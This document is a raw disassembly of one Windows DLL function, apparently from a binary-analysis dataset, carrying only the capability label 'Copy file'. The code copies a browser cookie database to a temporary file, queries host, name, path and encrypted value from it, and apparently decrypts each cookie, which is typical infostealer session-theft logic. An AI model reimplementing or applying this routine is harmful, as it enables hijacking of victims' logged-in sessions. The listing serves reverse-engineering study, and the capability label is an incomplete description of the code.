Function at 0x18000ab50
Capabilities:
Copy file

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x930]
sub rsp, 0xa30
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rsp + 0xa80], rbx
mov rax, qword [0x1802e4710]
xor rax, rsp
mov qword [rbp + 0x920], rax
mov r12, rdx
mov rdi, rcx
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
call fcn.18000bba0
movzx esi, al
lea rcx, str.Cookies.tmp
call fcn.1800ae798
lea rcx, [rdi + 0xd8]
cmp qword [rcx + 0x18], 0x10
jb 0x18000abc8
mov rcx, qword [rcx]
mov r8d, 1
lea rdx, str.Cookies.tmp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x18000abeb
mov dword [rdi + 0x58], 8
jmp 0x18000b0e7
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rsp + 0x60]
lea rcx, str.Cookies.tmp
call fcn.1800a7120
test eax, eax
je 0x18000ac15
mov dword [rdi + 0x58], 4
xor eax, eax
jmp 0x18000b0e7
xor r15d, r15d
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9d, [r15 + 1]
or r8d, 0xffffffff
lea rdx, str.SELECT_host_key__name__path__encrypted_value_expires_utc_has_expires_is_persistent_FROM_cookies
mov r13, qword [rsp + 0x60]
mov rcx, r13
call fcn.18007cfe0
test eax, eax
je 0x18000ac5a
mov dword [rdi + 0x58], 5
xor eax, eax
jmp 0x18000b0e7
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.180040cd0
cmp eax, 0x65
je 0x18000b0b9
lea r14, [rdi + 0x88]
mov r13d, 3
nop dword [rax]
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x40], r15
mov byte [rbp - 0x50], 0
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x18], r15
mov byte [rbp - 0x28], 0
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x10], r15
mov byte [rbp], 0
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x38], r15
mov byte [rbp + 0x28], 0
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x60], r15
mov byte [rbp + 0x50], 0
mov qword [rbp + 0x90], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x88], r15
mov byte [rbp + 0x78], 0
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xb0], r15
mov byte [rbp + 0xa0], 0
mov qword [rbp + 0xe0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xd8], r15
mov byte [rbp + 0xc8], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.180009300
xor edx, edx
mov rcx, rbx
call fcn.180041630
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x28]
call fcn.180009740
mov edx, 1
mov rcx, rbx
call fcn.180041630
mov rcx, rax
call fcn.1800ab940
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp]
call fcn.180009740
mov edx, 2
mov rcx, rbx
call fcn.180041630
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0x50]
call fcn.180009740
mov edx, 5
mov rcx, rbx
call fcn.180041630
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0xa0]
call fcn.180009740
mov edx, 6
mov rcx, rbx
call fcn.180041630
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0xc8]
call fcn.180009740
mov edx, 4
mov rcx, rbx
call fcn.180041630
mov rcx, rax
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1800ae768
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1800aba60
mov rdi, rax
lea rax, [rbp + 0x78]
cmp rax, rdi
je 0x18000aeb0
cmp qword [rbp + 0x90], 0x10
jb 0x18000ae56
mov rcx, qword [rbp + 0x78]
call fcn.1800acf88
mov qword [rbp + 0x90], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x88], r15
mov byte [rbp + 0x78], 0
cmp qword [rdi + 0x18], 0x10
jae 0x18000ae88
mov r8, qword [rdi + 0x10]
inc r8
mov rdx, rdi
lea rcx, [rbp + 0x78]
call fcn.1800acfd0
jmp 0x18000ae92
mov rax, qword [rdi]
mov qword [rbp + 0x78], rax
mov qword [rdi], r15
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0x88], rax
mov rax, qword [rdi + 0x18]
mov qword [rbp + 0x90], rax
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
cmp qword [rbp + 0x108], 0x10
jb 0x18000aec6
mov rcx, qword [rbp + 0xf0]
call fcn.1800acf88
mov edx, r13d
mov rcx, rbx
call fcn.180041350
mov dword [rsp + 0x70], eax
test rbx, rbx
je 0x18000af35
cmp qword [rbx + 0x28], 0
je 0x18000af0a
cmp r13w, word [rbx + 0x88]
jae 0x18000af0a
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x18000aefd
call qword [0x1802e8008]
mov rdi, qword [rbx + 0x28]
add rdi, 0xa8
jmp 0x18000af3c
mov rax, qword [rbx]
test rax, rax
je 0x18000af35
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x18000af21
call qword [0x1802e8008]
mov rcx, qword [rbx]
mov dword [rcx + 0x44], 0x19
mov edx, 0x19
call fcn.18001a390
lea rdi, [0x1802b6038]
movzx ecx, word [rdi + 8]
test cl, 0x12
je 0x18000af67
mov rcx, rdi
call fcn.180038da0
test eax, eax
je 0x18000af56
mov rdi, r15
jmp 0x18000af9a
or word [rdi + 8], 0x10
cmp dword [rdi + 0xc], 0
je 0x18000af51
mov rdi, qword [rdi + 0x10]
jmp 0x18000af9a
movzx eax, cx
mov edx, 0x202
and ax, dx
cmp ax, dx
jne 0x18000af83
cmp byte [rdi + 0xa], 1
jne 0x18000af83
mov rdi, qword [rdi + 0x10]
jmp 0x18000af9a
test cl, 1
je 0x18000af8d
mov rdi, r15
jmp 0x18000af9a
mov dl, 1
mov rcx, rdi
call fcn.180039cb0
mov rdi, rax
test rbx, rbx
je 0x18000afda
mov edx, dword [rbx + 0x84]
mov rcx, qword [rbx]
cmp byte [rcx + 0x55], 0
jne 0x18000afbd
cmp edx, 0xc0a
je 0x18000afbd
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x18000afc2
call fcn.180017990
mov dword [rbx + 0x84], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x18000afda
call qword [0x1802e8018]
mov qword [rsp + 0x78], rdi
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x120]
call fcn.1800b45b0
mov dword [rsp + 0x50], r15d
lea rax, [rbp + 0x120]
mov qword [rsp + 0x58], rax
mov edx, r13d
mov rcx, rbx
call fcn.180041350
mov edi, eax
mov edx, r13d
mov rcx, rbx
call fcn.180041630
mov rcx, rax
lea r8, [rbp + 0x28]
lea edx, [rdi + 1]
call fcn.1800ab750
test al, al
jne 0x18000b08d
test sil, sil
je 0x18000b08d
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rbp - 0x80], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.1800ab600
test eax, eax
je 0x18000b077
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x58]
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
jmp 0x18000b084
mov r8d, 6
lea rdx, str.failed
lea rcx, [rbp + 0x28]
call fcn.180009740
lea rdx, [rbp - 0x50]
mov rcx, r12
call fcn.18000bea0
nop
lea rcx, [rbp - 0x50]
call fcn.18000b120
mov rcx, rbx
call fcn.180040cd0
cmp eax, 0x65
jne 0x18000ac80
mov r13, qword [rsp + 0x60]
mov rcx, rbx
call fcn.18003fc80
xor edx, edx
mov rcx, r13
call fcn.1800a48c0
lea rcx, str.Cookies.tmp
call fcn.1800ae798
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
mov rcx, qword [rbp + 0x920]
xor rcx, rsp
call fcn.1800acfa0
mov rbx, qword [rsp + 0xa80]
add rsp, 0xa30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret